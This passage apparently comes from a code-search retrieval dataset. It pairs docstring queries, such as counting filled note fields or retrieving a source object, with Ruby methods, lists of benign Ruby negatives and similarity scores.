args[:num_tokens_skipped_by_in_doc_restrictions_in_printing] if args.key?(:num_tokens_skipped_by_in_doc_restrictions_in_printing)\n @num_tokens_skipped_by_in_doc_restrictions_in_scoring = args[:num_tokens_skipped_by_in_doc_restrictions_in_scoring] if args.key?(:num_tokens_skipped_by_in_doc_restrictions_in_scoring)\n @number_of_pages = args[:number_of_pages] if args.key?(:number_of_pages)\n @obsolete_localinfo = args[:obsolete_localinfo] if args.key?(:obsolete_localinfo)\n @obsolete_manybox = args[:obsolete_manybox] if args.key?(:obsolete_manybox)\n @obsolete_sitemap = args[:obsolete_sitemap] if args.key?(:obsolete_sitemap)\n @odp = args[:odp] if args.key?(:odp)\n @orion_entities = args[:orion_entities] if args.key?(:orion_entities)\n @science_info = args[:science_info] if args.key?(:science_info)\n @section_heading_anchor_name = args[:section_heading_anchor_name] if args.key?(:section_heading_anchor_name)\n @section_heading_text = args[:section_heading_text] if args.key?(:section_heading_text)\n @seen_not_term = args[:seen_not_term] if args.key?(:seen_not_term)\n @sentiment_snippets = args[:sentiment_snippets] if args.key?(:sentiment_snippets)\n @site_display_name = args[:site_display_name] if args.key?(:site_display_name)\n @snippet_byline_date = args[:snippet_byline_date] if args.key?(:snippet_byline_date)\n @snippet_extra_info = args[:snippet_extra_info] if args.key?(:snippet_extra_info)\n @snippet_highlight_matches_bitmap = args[:snippet_highlight_matches_bitmap] if args.key?(:snippet_highlight_matches_bitmap)\n @snippet_page_number = args[:snippet_page_number] if args.key?(:snippet_page_number)\n @snippet_prefix_char_count = args[:snippet_prefix_char_count] if args.key?(:snippet_prefix_char_count)\n @snippet_rendered_token = args[:snippet_rendered_token] if args.key?(:snippet_rendered_token)\n @snippethash = args[:snippethash] if args.key?(:snippethash)\n @snippets_ranklab_features = args[:snippets_ranklab_features] if args.key?(:snippets_ranklab_features)\n @squery_fingerprint = args[:squery_fingerprint] if args.key?(:squery_fingerprint)\n @title_length_adjusted_for_browser_width = args[:title_length_adjusted_for_browser_width] if args.key?(:title_length_adjusted_for_browser_width)\n @title_rendered_token = args[:title_rendered_token] if args.key?(:title_rendered_token)\n @title_size_params = args[:title_size_params] if args.key?(:title_size_params)\n @truncated_title = args[:truncated_title] if args.key?(:truncated_title)\n end", "def update_note(update_octave=true) # Update_octave=false used in generative parsing\n if self[:pc]\n self.merge!(get_ziff(self[:pc], self[:key], self[:scale],(update_octave ? (self[:octave] || 0) : false),(self[:add] || 0)))\n elsif self[:hpcs]\n notes = []\n self[:hpcs].each do |d|\n pc = d[:pc]\n notes.push(get_note_from_dgr(pc, d[:key], d[:scale], (d[:octave] || 0)) + (self[:add] || 0))\n end\n self[:pcs] = self[:hpcs].map {|h| h[:pc] }\n self[:notes] = notes\n end\n end", "def update!(**args)\n @phrase_anchor_spam_count = args[:phrase_anchor_spam_count] if args.key?(:phrase_anchor_spam_count)\n @phrase_anchor_spam_days = args[:phrase_anchor_spam_days] if args.key?(:phrase_anchor_spam_days)\n @phrase_anchor_spam_demoted = args[:phrase_anchor_spam_demoted] if args.key?(:phrase_anchor_spam_demoted)\n @phrase_anchor_spam_end = args[:phrase_anchor_spam_end] if args.key?(:phrase_anchor_spam_end)\n @phrase_anchor_spam_fraq = args[:phrase_anchor_spam_fraq] if args.key?(:phrase_anchor_spam_fraq)\n @phrase_anchor_spam_penalty = args[:phrase_anchor_spam_penalty] if args.key?(:phrase_anchor_spam_penalty)\n @phrase_anchor_spam_processed = args[:phrase_anchor_spam_processed] if args.key?(:phrase_anchor_spam_processed)\n @phrase_anchor_spam_rate = args[:phrase_anchor_spam_rate] if args.key?(:phrase_anchor_spam_rate)\n @phrase_anchor_spam_start = args[:phrase_anchor_spam_start] if args.key?(:phrase_anchor_spam_start)\n end", "def update!(**args)\n @annotation_list = args[:annotation_list] if args.key?(:annotation_list)\n @eval_data = args[:eval_data] if args.key?(:eval_data)\n @favorite = args[:favorite] if args.key?(:favorite)\n @is_from_fast_path = args[:is_from_fast_path] if args.key?(:is_from_fast_path)\n @play_more = args[:play_more] if args.key?(:play_more)\n @qref = args[:qref] if args.key?(:qref)\n @raw_text = args[:raw_text] if args.key?(:raw_text)\n end", "def update!(**args)\n @confidences = args[:confidences] if args.key?(:confidences)\n @display_names = args[:display_names] if args.key?(:display_names)\n @ids = args[:ids] if args.key?(:ids)\n @text_segment_end_offsets = args[:text_segment_end_offsets] if args.key?(:text_segment_end_offsets)\n @text_segment_start_offsets = args[:text_segment_start_offsets] if args.key?(:text_segment_start_offsets)\n end", "def add_note # rubocop:disable Metrics/AbcSize, Metrics/CyclomaticComplexity\n @bib.biblionote.each do |n|\n case n.type\n when \"annote\" then @item.annote = n.content\n when \"howpublished\" then @item.howpublished = n.content\n when \"comment\" then @item.comment = n.content\n when \"tableOfContents\" then @item.content = n.content\n when nil then @item.note = n.content\n end\n end\n end", "def update!(**args)\n @quick_replies = args[:quick_replies] if args.key?(:quick_replies)\n @title = args[:title] if args.key?(:title)\n end", "def update!(**args)\n @quick_replies = args[:quick_replies] if args.key?(:quick_replies)\n @title = args[:title] if args.key?(:title)\n end", "def update!(**args)\n @feedback_chips = args[:feedback_chips] if args.key?(:feedback_chips)\n @thumbs_feedback = args[:thumbs_feedback] if args.key?(:thumbs_feedback)\n end" ]
[ "0.588104", "0.588104", "0.588104", "0.588104", "0.5802742", "0.57873756", "0.5714335", "0.56542444", "0.55394685", "0.5524737", "0.55091524", "0.5487705", "0.54819363", "0.54783964", "0.5423867", "0.5414819", "0.5414819", "0.5397254", "0.5397254", "0.537522", "0.5366863", "0.5324473", "0.5320902", "0.5320902", "0.5310276", "0.53102416", "0.52970856", "0.5293743", "0.5284219", "0.52840585", "0.527804", "0.527676", "0.5273841", "0.5272438", "0.5260436", "0.5260436", "0.5260436", "0.5259234", "0.5258183", "0.5255343", "0.52533615", "0.52510726", "0.5249761", "0.52496356", "0.52496356", "0.52488256", "0.5245994", "0.52453506", "0.5245293", "0.5243814", "0.52347285", "0.52295154", "0.52295154", "0.52295154", "0.52295154", "0.52295154", "0.52212423", "0.52212423", "0.5218664", "0.5214742", "0.52135634", "0.52135634", "0.52044016", "0.5203995", "0.5195947", "0.5191425", "0.5191281", "0.5184359", "0.51839405", "0.5181879", "0.51806015", "0.51778954", "0.5175925", "0.5169493", "0.5164581", "0.5163041", "0.5159598", "0.5146129", "0.5144458", "0.51366377", "0.5133522", "0.5127059", "0.5125552", "0.5121813", "0.51187664", "0.51185685", "0.51151913", "0.511451", "0.5112717", "0.5112123", "0.5111242", "0.51111203", "0.5105236", "0.5103526", "0.5102244", "0.51011443", "0.50981086", "0.5097842", "0.5097842", "0.50972664" ]
0.61266375
0
Find out how much descriptive text has been written for this object. Returns the number of fields filled in, and how many characters total. num_fields, total_length = name.note_status
def note_status field_count = size_count = 0 all_notes.each_value do |v| if v.present? field_count += 1 size_count += v.strip_squeeze.length end end [field_count, size_count] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def name_length\n name.length\n end", "def length\n @fields.length\n end", "def num_fields\n @fields.size\n end", "def inspect_details\n\t\treturn %Q{%s -- %d headers, %0.2fK body (%p)} % [\n\t\t\tself.status_line,\n\t\t\tself.headers.length,\n\t\t\t(self.get_content_length / 1024.0),\n\t\t\tself.body,\n\t\t]\n\tend", "def field_count\n @fields.length\n end", "def length\n metadata[:length]\n end", "def description_complexity(pr)\n pull_req = pull_req_entry(pr[:id])\n (pull_req['title'] + ' ' + pull_req['body']).gsub(/[\\n\\r]\\s+/, ' ').split(/\\s+/).size\n end", "def message_length; complete_message.length; end", "def default_field_lengths\n field_lengths = @headers ? @headers.inject({}) {|h,(k,v)| h[k] = String.size(v); h} :\n @fields.inject({}) {|h,e| h[e] = 1; h }\n @rows.each do |row|\n @fields.each do |field|\n len = String.size(row[field])\n field_lengths[field] = len if len > field_lengths[field].to_i\n end\n end\n field_lengths\n end", "def filesize\n @descriptive_detail.filesize\n end", "def field_count\n @fields.size\n end", "def length\n text.length\n end", "def metadata_comment_count(structure)\n \"#{structure.comments.count} avis\"\n end", "def description_length\n description&.scan(/\\w+/)\n end", "def calculate_meta_length(from_number)\n meta_length = 0\n meta_length += \"[#{name}] \".length if add_list_name_header?\n meta_length += \" (#{from_number.name_and_number})\".length if add_sender_identity?(from_number)\n meta_length\n end", "def length(record)\n if type.variable?\n record[:header][:field_lengths][position]\n else\n type.length\n end\n end", "def number_of_characters\n @text.length\n end", "def inspect\n \"#{size} words\"\n end", "def description_length\n \tif description.length > 80\n \t\terrors.add(:description, \"La descripción no puede ser mayor a 80 caracteres\")\n \tend\n end", "def length\n length = 1 #@primary\n length += @extlang.length if @extlang\n length += 1 if @script\n length += 1 if @region\n length += @variants.length if @variants\n @extensions.each { |_,e| length += e.length+1 } if @extensions # length += @extenstions.to_a.flatten.length if @extensions\n length += @privateuse.length+1 if @privateuse\n length\n end", "def update_message\n return @num_new_notes != 0 ? \"#{@num_new_notes} new footnotes\" : nil\n end", "def name_record_long(type, ext_ref) #:nodoc:\n record = 0x0018 # Record identifier\n length = 0x002a # Number of bytes to follow\n\n grbit = 0x0020 # Option flags\n chkey = 0x00 # Keyboard shortcut\n cch = 0x01 # Length of text name\n cce = 0x001a # Length of text definition\n unknown01 = 0x0000 #\n ixals = @worksheet.index + 1 # Sheet index\n unknown02 = 0x00 #\n cch_cust_menu = 0x00 # Length of cust menu text\n cch_description = 0x00 # Length of description text\n cch_helptopic = 0x00 # Length of help topic text\n cch_statustext = 0x00 # Length of status bar text\n rgch = type # Built-in name type\n\n unknown03 = 0x29\n unknown04 = 0x0017\n unknown05 = 0x3b\n\n header = [record, length].pack(\"vv\")\n data = [grbit].pack(\"v\")\n data += [chkey].pack(\"C\")\n data += [cch].pack(\"C\")\n data += [cce].pack(\"v\")\n data += [unknown01].pack(\"v\")\n data += [ixals].pack(\"v\")\n data += [unknown02].pack(\"C\")\n data += [cch_cust_menu].pack(\"C\")\n data += [cch_description].pack(\"C\")\n data += [cch_helptopic].pack(\"C\")\n data += [cch_statustext].pack(\"C\")\n data += [rgch].pack(\"C\")\n\n # Column definition\n data += [unknown03].pack(\"C\")\n data += [unknown04].pack(\"v\")\n data += [unknown05].pack(\"C\")\n data += [ext_ref].pack(\"v\")\n data += [0x0000].pack(\"v\")\n data += [0xffff].pack(\"v\")\n data += [@col_min].pack(\"v\")\n data += [@col_max].pack(\"v\")\n\n # Row definition\n data += [unknown05].pack(\"C\")\n data += [ext_ref].pack(\"v\")\n data += [@row_min].pack(\"v\")\n data += [@row_max].pack(\"v\")\n data += [0x00].pack(\"v\")\n data += [0xff].pack(\"v\")\n # End of data\n data += [0x10].pack(\"C\")\n\n [header, data]\n end", "def body_info\n if is_io?\n \"#{body.class.name}, size: #{body.respond_to?(:lstat) ? body.lstat.size : body.size}, pos: #{body.pos}\"\n else\n \"size: #{body.to_s.bytesize}, first #{BODY_BYTES_TO_LOG} bytes:\\n#{body.to_s[0...BODY_BYTES_TO_LOG]}\"\n end\n end", "def length(record)\n if record.header.lengths.include?(@name)\n len = record.header.lengths[@name]\n raise \"Fixed-length mismatch\" unless variable? || len == @data_type.width\n else\n len = @data_type.width\n end\n extern?(record) ? len - EXTERN_FIELD_SIZE : len\n end", "def title_width\n line_headings.values.collect {|l| l.to_s.length}.max + 8\n end", "def determine_length\n determine_length_support\n end", "def count_field_names\n count_fields.map(&:to_s)\n end", "def num_chars\n @text.length\n end", "def parse_length\n format_chars.length\n end", "def content_length\n# stat.size\n @bson['length'] || 0\n end", "def comment_length\n\t120\nend", "def word_length\n padded_words( get_layout().get_length() + get_length() )\n end", "def length_in_long_words\n return @bits.attr_length\n end", "def size\n @messages_as_text.size\n end", "def size\n reader.doccount\n end", "def get_field_count\n\t\tend", "def word_length\n\t\t@ans_word.length\n\tend", "def total_documented\n @methods.select {|b| b}.length +\n @classes.select {|b| b}.length +\n @modules.select {|b| b}.length +\n @attrs.select {|b| b}.length +\n @constants.select {|b| b}.length\n end", "def words_count\n get_at_words_count + \n get_ata_words_count + \n get_noun_words_count + \n get_adjective_words_count\n end", "def word_length\n @word.length\n end", "def msg_size; @msg_size ||= PackedHeader.new(4, 'N'); end", "def length\n @line.length\n end", "def size\n @info.size\n end", "def size\n @info.size\n end", "def size\n @info.size\n end", "def len_1\n cns = Length\n h_units = Hash.new('Unit Unknown')\n h_format = Hash.new('Format Unknown')\n\n h_units[cns::Centimeter] = 'cm'\n h_units[cns::Feet] = 'ft'\n h_units[cns::Inches] = 'in'\n h_units[cns::Meter] = 'm'\n h_units[cns::Millimeter] = 'mm'\n\n h_format[cns::Architectural] = 'Architectural'\n h_format[cns::Decimal] = 'Decimal'\n h_format[cns::Engineering] = 'Engineering'\n h_format[cns::Fractional] = 'Fractional'\n\n om = Sketchup.active_model.options # OptionManager\n op = om['UnitsOptions'] # OptionsProvider\n units = h_units[ op['LengthUnit'] ]\n format = h_format[ op['LengthFormat'] ]\n puts \"Current model units are #{units}\"\n puts \"Current model format is #{format}\"\n end", "def count; info['doc_count']; end", "def calculate_num_of_lines body\n lines = body.split(\"\\n\")\n lines.each_with_index do |line, index|\n if line.length * 20 > 500\n lines[index] = line.wrap_lines\n end\n end\n reformated_body = lines.join \"\\n\"\n num_lines = reformated_body.split(\"\\n\").size\n return num_lines, reformated_body\n end", "def num_chars\n @name.split('').count\n end", "def word_count\n @@word_count\n end", "def long?\n @name.length >= 15\n end", "def number_of_chars\n text.to_s.number_of_chars\n end", "def chapter_total_display\n current = posted? ? chapters.posted.count.to_s : '1'\n current + '/' + expected_length_display\n end", "def inspect_details\n\t\tbody_size = self.body.size || 0\n\n\t\treturn %Q{[%s] \"%s %s %s\" -- %0.2fK body} % [\n\t\t\tself.headers.x_forwarded_for,\n\t\t\tself.headers[:method],\n\t\t\tself.headers.uri,\n\t\t\tself.headers.version,\n\t\t\t(body_size / 1024.0),\n\t\t]\n\tend", "def length\n (lines.max_by(&:length) || '').size\n end", "def length\n self.to_s.length\n end", "def num_fields\n IBM_DB.num_fields(@stmt)\n end", "def count_columns\n fields.size\n end", "def field_size\n if self[:field_size].present? && self[:field_size] > 0\n self[:field_size]\n else\n results.size\n end\n end", "def stats\n hash = {}\n instance_variables.each do |var|\n # Add up the total bytes of text as well as the length.\n if var == :@text\n count = 0\n @text.each { |t| count += t.length }\n hash[:text_snippets] = @text.length\n hash[:text_bytes] = count\n # Else take the var's #length method return value.\n else\n next unless instance_variable_get(var).respond_to?(:length)\n\n hash[var[1..-1].to_sym] =\n instance_variable_get(var).send(:length)\n end\n end\n hash\n end", "def preamble_size\n # Find size from position of data for first shard\n words.at(content_offset + File::Frozen::Descriptor.offset + 7).to_i\n end", "def size\n @info[:size]\n end", "def note_to_length(name)\n name.strip!\n name =~ /^(dotted)?(.*?)(triplet)?$/\n dotted, note_name, triplet = $1, $2, $3\n note_name.strip!\n mult = 1.0\n mult = 1.5 if dotted\n mult /= 3.0 if triplet\n len = NOTE_TO_LENGTH[note_name]\n raise \"Sequence.note_to_length: \\\"#{note_name}\\\" not understood in \\\"#{name}\\\"\" unless len\n return len * mult\n end", "def comments_word_count\n self.turker_comments.present? ? self.turker_comments.split(/\\s/).length : 0\n end", "def word_stats(force_recount = false)\n process_words unless @num_words && @num_words > 0 && force_recount\n {\n :num_words => @num_words,\n :num_sentences => @num_sentences,\n :num_blanks => @num_blanks,\n :num_blanks_by_type => @num_blanks_by_type\n }\n end", "def num_fields\n @form_fields.getFields.size\n end", "def length() end", "def length() end", "def length() end", "def length() end", "def field_size\n if self[:field_size] and self[:field_size] > 0\n self[:field_size]\n else\n results.size\n end\n end", "def full_name_length(length)\n \n full = \"#{self.name} #{self.last_name}\"\n \n if full.length <= length.to_i\n full\n else\n full[0,length.to_i]+\"...\"\n end\n end", "def size\n (contents || '').length\n end", "def length\n end", "def length\n end", "def size\n self.attributes.length\n end", "def render_length; end", "def length\n @parts.length\n end", "def length()\n return to_s.size\n end", "def size; '' end", "def status_column_count\n\t# update has three columns vs. up to eight for status as of 1.3.x\n\t# But, for status, if we assume eight, we might have compatibility\n\t# issues with earlier versions which had fewer columns (unless they\n\t# had more padding than I recall). The last three columns seem to be\n\t# network status-only, so this isn't a big deal for now.\n\t$is_status ? 5 : 3\nend", "def name_record_short(type, ext_ref, hidden = nil) #:nodoc:\n record = 0x0018 # Record identifier\n length = 0x001b # Number of bytes to follow\n\n grbit = 0x0020 # Option flags\n chkey = 0x00 # Keyboard shortcut\n cch = 0x01 # Length of text name\n cce = 0x000b # Length of text definition\n unknown01 = 0x0000 #\n ixals = @worksheet.index + 1 # Sheet index\n unknown02 = 0x00 #\n cch_cust_menu = 0x00 # Length of cust menu text\n cch_description = 0x00 # Length of description text\n cch_helptopic = 0x00 # Length of help topic text\n cch_statustext = 0x00 # Length of status bar text\n rgch = type # Built-in name type\n unknown03 = 0x3b #\n\n grbit = 0x0021 if hidden\n\n rowmin = row_min\n rowmax = row_max\n rowmin, rowmax = 0x0000, 0xffff unless row_min\n\n colmin = col_min\n colmax = col_max\n colmin, colmax = 0x00, 0xff unless col_min\n\n header = [record, length].pack(\"vv\")\n data = [grbit].pack(\"v\")\n data += [chkey].pack(\"C\")\n data += [cch].pack(\"C\")\n data += [cce].pack(\"v\")\n data += [unknown01].pack(\"v\")\n data += [ixals].pack(\"v\")\n data += [unknown02].pack(\"C\")\n data += [cch_cust_menu].pack(\"C\")\n data += [cch_description].pack(\"C\")\n data += [cch_helptopic].pack(\"C\")\n data += [cch_statustext].pack(\"C\")\n data += [rgch].pack(\"C\")\n data += [unknown03].pack(\"C\")\n data += [ext_ref].pack(\"v\")\n\n data += [rowmin].pack(\"v\")\n data += [rowmax].pack(\"v\")\n data += [colmin].pack(\"v\")\n data += [colmax].pack(\"v\")\n\n [header, data]\n end", "def length\n end", "def length\n end", "def length\n end", "def length\n end", "def length\n end", "def notice(r)\n ' | ' + r.name.to_s.ljust(30) + \n ' | ' + r.record_type.to_s.ljust(5) + \n ' | ' + r.aux.to_s.rjust(4) + \n ' | ' + r.data.to_s.ljust(34) + \n ' | '\nend", "def num_fields\n @form_fields.size\n end", "def length\n do_num_bytes\n end", "def notes\n @reason_structure[@num]\n end", "def odb_length\n \"#{to_s}.length()\"\n end", "def get_total_readme_word_count(data)\n total_word_count = 0\n if data['readme_raw_text'].nil?\n total_word_count = 0\n else\n readme_text = Base64.decode64(data['readme_raw_text']['content'])\n readme_text = readme_text.gsub(/[\\r\\n]/, ' ')\n words = readme_text.split(' ')\n words.each do |word|\n if word =~ /^\\w+$/\n total_word_count += 1\n end\n end\n end\n\n total_word_count\nend", "def snake_size(snake)\n return snake[:body].length\nend", "def length_term\n self.gsub(/\\e\\[[^m]*m/, '').length\n end", "def record_count\n pair = text_blocks.each_cons(2)\n .select { |cons| cons[1] == \"Record Count:\" }.first\n pair && pair[0].to_i\n end", "def full_info number \n\t\tshort_text = description.split(\"<br>\")[0][0..59]\n\t\tshort_text = short_text + \"...\" if short_text.length == 60\n\t\t\"#{number}. #{short_text}\"\n\tend", "def study_length\n read_attribute(:study_length) || 3\n end", "def length\n do_num_bytes\n end", "def length\n do_num_bytes\n end" ]
[ "0.5937865", "0.59200543", "0.5760106", "0.5666546", "0.5665476", "0.5664266", "0.56375414", "0.56290567", "0.5618939", "0.5604621", "0.5583017", "0.5570458", "0.5570094", "0.5555435", "0.5539693", "0.553884", "0.5536162", "0.552772", "0.54713106", "0.54580325", "0.5448924", "0.54488695", "0.54126185", "0.53999025", "0.5372117", "0.53696287", "0.5361811", "0.53557664", "0.5343171", "0.53367513", "0.5324553", "0.529848", "0.5277042", "0.5275629", "0.5262535", "0.5221898", "0.521974", "0.5210999", "0.5209396", "0.51974475", "0.51950985", "0.5190588", "0.519054", "0.519054", "0.519054", "0.5188073", "0.51770675", "0.5176192", "0.5168925", "0.5163322", "0.5161123", "0.5158721", "0.51478255", "0.51320434", "0.5123921", "0.51193964", "0.51159286", "0.5110771", "0.5106337", "0.50944275", "0.50914496", "0.508083", "0.5073739", "0.50717604", "0.50683504", "0.5068198", "0.5064098", "0.5064098", "0.5064098", "0.5064098", "0.50638753", "0.5061907", "0.5060983", "0.50596446", "0.50561774", "0.5051189", "0.5047915", "0.50464076", "0.5044791", "0.5042216", "0.5041248", "0.50397176", "0.5036755", "0.5036755", "0.5036755", "0.5036755", "0.5036755", "0.50349486", "0.50327545", "0.5029389", "0.502882", "0.5026252", "0.5020034", "0.50155824", "0.5014532", "0.50138605", "0.50116646", "0.500819", "0.50039047", "0.50039047" ]
0.71564275
0
Retreive object representing the source (if applicable). Presently, this only works for Project drafts and User's personal descriptions. All others return +nil+.
def source_object case source_type # (this may eventually be replaced with source_id) when "project" then project when "source" then nil # (haven't created "Source" model yet) when "user" then user end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def source_object\n @source_object ||= load_source_object_from_params\n end", "def source\n return @source\n end", "def source\n return @source\n end", "def source\n # force update if we only have part of source\n attrs.merge!(fetch) unless attrs[:source] && attrs[:source].has_key?(:url)\n OpenStruct.new(get_attr(:source))\n end", "def source\n @source\n end", "def source\n @source\n end", "def source\n @attributes[:source]\n end", "def source\n @attributes[:source]\n end", "def source\n @source ||= begin\n source = ::Sources::Site.new(url)\n source.get\n\n source\n end\n end", "def source\n @source ||= PublicEarth::Db::Source.for_user(self)\n end", "def source\n @source ||= OE_SOURCE\n end", "def source\n self\n end", "def get_object\n class_name = self.target_type.classify\n klass = Object.const_get(class_name)\n return klass.find(self.target_id)\n end", "def source_get\n db_select 'source'\n end", "def source\n @data['source']\n end", "def source\n self\n end", "def source\n @reader.source if @reader\n end", "def initialize_description_source\n @description.license = @user.license\n\n # Creating a draft.\n if params[:project].present?\n project = Project.find(params[:project])\n if @user.in_group?(project.user_group)\n @description.source_type = \"project\"\n @description.source_name = project.title\n @description.project = project\n @description.public = false\n @description.public_write = false\n else\n flash_error(:runtime_create_draft_create_denied.\n t(title: project.title))\n redirect_to(project_path(project.id))\n end\n\n # Cloning an existing description. Only occurs on names?\n elsif params[:clone].present?\n clone = find_description!(params[:clone])\n if in_admin_mode? || clone.is_reader?(@user)\n @description.all_notes = clone.all_notes\n @description.source_type = \"user\"\n @description.source_name = \"\"\n @description.project_id = nil\n @description.public = false\n @description.public_write = false\n else\n flash_error(:runtime_description_private.t)\n redirect_to(name_path(@description.parent_id))\n end\n\n # Otherwise default to \"public\" description.\n else\n @description.source_type = \"public\"\n @description.source_name = \"\"\n @description.project_id = nil\n @description.public = true\n @description.public_write = true\n end\n end", "def source\n ap get_source\n end", "def source\n @source ||= ::Incident.includes(current_user: :contacts).find_by(uuid: payload[\"source\"][\"id\"])\n end", "def content_source\n return @content_source\n end", "def content\n self.source? ? self.source.url : self.default_source_url\n end", "def content\n self.source? ? self.source.url : self.default_source_url\n end", "def source\n raise NotImplementedError\n end", "def source_class\n source.class\n end", "def build_new_source(name, domain=nil)\n # Try to see if there is an existing source object with an identical name but a null domain\n # If so, use that and update the info for that source object\n source = Source.find(:first, :conditions => [\"domain IS NULL AND name = ?\", name])\n if source.nil?\n ## Build a new source object!\n source = Source.new\n source.name = name\n source.section = nil\n source.ownership = IND\n source.status = PENDING\n source.source_media << SourceMedium.new(:medium => SourceMedium::OTHER, :main => true)\n source.created_at = Time.now\n source.updated_at = Time.now\n end\n\n if domain\n source.domain = domain\n source.slug = domain.gsub(/\\./, '_')\n end\n\n return source\n end", "def source_collection\n collection = Collection.find(object.source_collection_id) if object.source_collection_id\n return collection.title unless collection.nil?\n end", "def initialize_description_source(desc)\n desc.license = @user.license\n\n # Creating a draft.\n if !params[:project].blank?\n project = Project.find(params[:project])\n if @user.in_group?(project.user_group)\n desc.source_type = :project\n desc.source_name = project.title\n desc.project = project\n desc.public = false\n desc.public_write = false\n else\n flash_error(:runtime_create_draft_create_denied.\n t(:title => project.title))\n redirect_to(:controller => 'project', :action => 'show_project',\n :id => project.id)\n end\n\n # Cloning an existing description.\n elsif !params[:clone].blank?\n clone = find_description(params[:clone])\n if clone.is_reader?(@user)\n desc.all_notes = clone.all_notes\n desc.source_type = :user\n desc.source_name = ''\n desc.project_id = nil\n desc.public = false\n desc.public_write = false\n else\n flash_error(:runtime_description_private.t)\n redirect_to(:action => 'show_name', :id => desc.parent_id)\n end\n\n # Otherwise default to :public description.\n else\n desc.source_type = :public\n desc.source_name = ''\n desc.project_id = nil\n desc.public = true\n desc.public_write = true\n end\n end", "def inspect\n \"#<#{self.class.name}:#{self.object_id} #{self.sources.inspect}>\"\n end", "def source\n @source ||= begin\n source = ::Sources::Strategies::Nijie.new(url)\n source.get\n\n source\n end\n end", "def source\n (input.respond_to?(:source) && input.source) || input\n end", "def source_event\n return @source_event if @source_event\n return unless full_data\n\n source_event_id = full_data.fetch_path(:source_event_id)\n @source_event = EventStream.find_by(:id => source_event_id) if source_event_id\n end", "def get_info_source(field_prefix)\n info_source = nil\n return nil if self.fields.keys.find{|k| !k.nil? && k.starts_with?(\"#{field_prefix}.info_source\")}.nil?\n begin\n info_source_id = self.fields.delete(\"#{field_prefix}.info_source.id\")\n if info_source_id.blank?\n info_source_code = self.fields.delete(\"#{field_prefix}.info_source.code\")\n if info_source_code.blank?\n source_name = self.fields.delete(\"#{field_prefix}.info_source.oral.fullname\")\n if !source_name.blank?\n info_source = OralSource.find_by_name(source_name)\n self.say \"Oral source with name #{source_name} was not found.\" if info_source.nil?\n end\n else\n info_source = OralSource.get_by_code(info_source_code)\n self.say \"Info source with code #{info_source_code} was not found.\" if info_source.nil?\n end\n else\n info_source = ShantiIntegration::Source.find(info_source_id)\n self.say \"Info source with Shanti Source ID #{info_source_id} was not found.\" if info_source.nil?\n end \n rescue Exception => e\n self.say e.to_s\n end\n return info_source\n end", "def get\n object\n end", "def marc_source\n @_marc_source ||= fetch(_marc_source_field)\n end", "def find_source_entry\n @source_entry = SourceGlossaryEntry.find params[:source_id]\n end", "def source\n result_hash['src']\n end", "def full_url\n self.source.full.url\n end", "def source_object_name\n return @source_object_name\n end", "def source\n IITSource.new(@ole.Source)\n end", "def source\n IITSource.new(@ole.Source)\n end", "def source()\n #This is a stub, used for indexing\n end", "def source\n @source || load_file_contents\n end", "def source\n @source ||= config_params(:source) || self.class.const_get(:DEFAULT_SOURCE)\n end", "def source\n @source ||= config_params(:source) || self.class.const_get(:DEFAULT_SOURCE)\n end", "def instantiate_source_or_rdf_object(attributes) # :nodoc:\n name_or_uri = attributes['titleized']\n if /^\\\"[\\w\\s\\d]+\\\"$/.match name_or_uri\n name_or_uri[1..-2]\n elsif attributes['uri'].blank? and attributes['source'].blank?\n name_or_uri\n elsif /^http:\\/\\//.match name_or_uri\n Source.new(name_or_uri)\n else\n Source.find_or_instantiate_by_uri(normalize_uri(attributes['uri']), name_or_uri)\n end\n end", "def source_reflection\n return nil unless through_reflection\n @source_reflection ||= source_reflection_names.collect { |name| through_reflection.klass.reflect_on_association(name) }.compact.first\n end", "def get_source\n raise 'check this!'\n # _reflector = new ReflectionClass($this);\n # $file = _reflector.filename;\n # if (!file_exists($file)) {\n # return;\n # end\n # $source = file($file, FILE_IGNORE_NEW_LINES);\n # array_splice($source, 0, _reflector.getEndLine());\n # $i = 0;\n # while (isset($source[$i]) && '/* */' == substr_replace($source[$i], '', 3, -2)) {\n # $source[$i] = str_replace('*//* ', '*/', substr($source[$i], 3, -2));\n # ++$i;\n # end\n # array_splice($source, $i);\n # return implode(\"\\n\", $source);\n end", "def source()\n #This is a stub, used for indexing\n end", "def object\n first.object\n end", "def object\n @object ||= build_object\n end", "def raw_source\n @raw_source\n end", "def raw_source\n @raw_source\n end", "def raw_source\n @raw_source\n end", "def harvest_source\n Source.find_by(user_id: user_id, name: 'harvest')\n end", "def source_file\n return @source_file\n end", "def source_item\n source.item_by_product_and_code(product, lot_code)\n end", "def get_d_b_source(project_name, source_name, optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:path]['ProjectName'] = project_name\n\t\targs[:path]['SourceName'] = source_name\n\t\targs[:pattern] = '/projects/[ProjectName]/sources/[SourceName]'\n\t\targs[:query]['Action'] = 'GetDBSource'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tself.run(args)\n\tend", "def get(source, other_query = nil)\n assert_kind_of 'source', source, source_model\n\n return unless loaded?(source) || source_key.get(source).all?\n @relationship.get(source, other_query).first\n end", "def source\n Source.new(contents.each_line, self)\n end", "def source\n raise 'implement me in subclass!'\n end", "def object\n first.object\n end", "def source_type\n @source_type ||= source.keys.first\n end", "def value\n val = @target.is_a?(Hash) ? @target[source] : @target.try(source)\n logger.warn(\"Source '#{source}' corresponding to descriptor #{name} is not defined on #{@target.inspect}. \" <<\n \"Make sure the object implements the source name or check for a misspelled descriptor key, name or source property.\") unless val\n val\n end", "def fetch(source)\n Feedjira::Feed.fetch_and_parse source\n end", "def instantiate_source_or_rdf_object(attributes)\n name_or_uri = attributes['titleized']\n if /^\\\"[\\w\\s\\d]+\\\"$/.match name_or_uri\n name_or_uri[1..-2]\n elsif attributes['uri'].blank? and attributes['source'].blank?\n name_or_uri\n elsif /^http:\\/\\//.match name_or_uri\n Source.new(name_or_uri)\n else\n Source.find_or_instantiate_by_uri(normalize_uri(attributes['uri']), name_or_uri)\n end\n end", "def source\n @source ||= raw_source.split(\"---\\n\")[2]\n end", "def source\n @source ||= raw_source.split(\"---\\n\")[2]\n end", "def show\n @creator_source = CreatorSource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @creator_source }\n end\n end", "def object\n @obj\n end", "def read source=nil\n if source.respond_to? :read\n source.read\n elsif file = find(source) and File.file? file\n 